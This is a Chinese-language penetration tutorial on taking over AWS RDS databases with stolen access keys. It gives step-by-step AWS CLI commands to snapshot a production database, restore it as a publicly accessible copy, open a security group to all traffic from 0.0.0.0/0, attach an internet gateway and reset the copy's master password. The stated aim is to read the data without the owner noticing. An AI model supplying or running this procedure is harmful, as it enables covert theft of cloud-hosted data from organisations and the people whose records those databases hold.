AWS 渗透之 RDS  数据库接管
AWS 渗透之 RDS 数据库接管

AWS 渗透之 RDS 数据库接管

场景

渗透的过程即是信息收集的过程,当攻击者拿到 AKSK 后,除了传统的查看 EC2 、S3 、EKS 等信息外, RDS 也是攻击者查询、收集信息的重要方向。AWS 中的 RDS 提供了直接重设密码的方式,一般情况下攻击者不会这么干,这会给生产环境造成严重的故障且立刻被暴露。那么如果做到不改变现有数据库的密码又能查看数据库中的数据呢?

RDS 快照复制技术

RDS 快照复制是查看 RDS 数据库的一种方式,如果需要复制到可供外部攻击者访问,还需要考虑到 VPC 的 IGW、安全组配置以及 DNS、hostname 解析支持。下图是该技术的全部汇总图。

VPC 配置

1、VPC 必须支持 dns 解析和 hostname 解析,否则处于该 VPC 中的 RDS 的终端节点不能被外部解析,从而无法入栈访问。

aws ec2 modify-vpc-attribute --vpc-id vpc-xxxx --enable-dns-support --region=us-west-2 
aws ec2 modify-vpc-attribute --vpc-id vpc-xxxx --enable-dns-hostnames --region=us-west-2 

2、如果要RDS 复制到公网访问,VPC 的安全组必须支持流量入栈。

aws ec2 authorize-security-group-ingress --group-id sg-xxxx --protocol all --cidr 0.0.0.0/0 --region=us-west-2 

3、VPC 除了安全组需要开放入栈流量,支持 DNS 解析外,还需要配置 IGW(Internet Gateway)因特网网关,配置了该项 VPC 才能和互联网打通,该项分为两步,一步为创建 IGW,另一步为 创建的 IGW 和 VPC 关联。

# 创建 IGW 
aws ec2 create-internet-gateway --tag-specifications ResourceType=internet-gateway,Tags='[{Key=Name,Value=my-igw}]' --region=us-west-2
# 关联 VPC
aws ec2 attach-internet-gateway --internet-gateway-id igw-xxxx --vpc-id vpc-xxxx --region us-west-2

VPC 子网配置

1、指定的 VPC 中创建 VPC 子网。

aws ec2 create-subnet \
    --vpc-id vpc-xxxx \
    --cidr-block 172.10.*.*/24 \
    --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=vpcsubname}]' --availability-zone us-west-2a --region=us-west-2 

2、VPC 子网添加出网路由,该项需配置子网到 VPC 上关联的 IGW 路由。

aws ec2 describe-route-tables --filters "Name=association.subnet-id,Values=subnet-xxxx" --region=us-west-2

3、创建 RDS 子网,这里的 RDS 子网必须关联两个以上的 VPC 子网才能保证 RDS 高可用。

aws rds create-db-subnet-group \
    --db-subnet-group-name xxxxx \
    --db-subnet-group-description "xxxx" \
    --subnet-ids '["subnet-xxxx","subnet-xxxx"]' --region=us-west-2

RDS 配置

1、给指定的 RDS 打快照

--db-instance-identifier :数据库名称
--db-snapshot-identifier :数据库快照名称
aws rds create-db-snapshot --db-instance-identifier xxxx --db-snapshot-identifier xxxx --region=us-west-2

2、从快照还原 RDS。

aws rds restore-db-instance-from-db-snapshot --db-instance-identifier restoename \
    --db-snapshot-identifier shopname \
    --db-instance-class db.t3.micro \
    --publicly-accessible \
    --vpc-security-group-ids=sg-xxxx \
    --db-subnet-group-name xxxx \
       --region=us-west-2 

--db-snapshot-identifier #快照名称
--db-instance-class db.t3.micro  #快照实例的类型
--publicly-accessible   #可对公访问
--vpc-security-group-ids=sg-xxxx- #该实例选定的安全组名称
--db-subnet-group-name #数据库子网组名称(至少两个 VPC 子网的组合,至于数据库实例最终落在哪个子网中,目前不太好判断,只有每个子网都配置条出网的 igw 路由,该参数决定了 RDS 落在哪个 VPC 上)

3、修改 RDS 密码

修改还原数据库的密码且提供对公连接
--apply-immediately 是一个很重要的参数,表示立即生效

修改密码
aws rds modify-db-instance --db-instance-identifier your-db-instance-name --master-user-password your-new-password --apply-immediately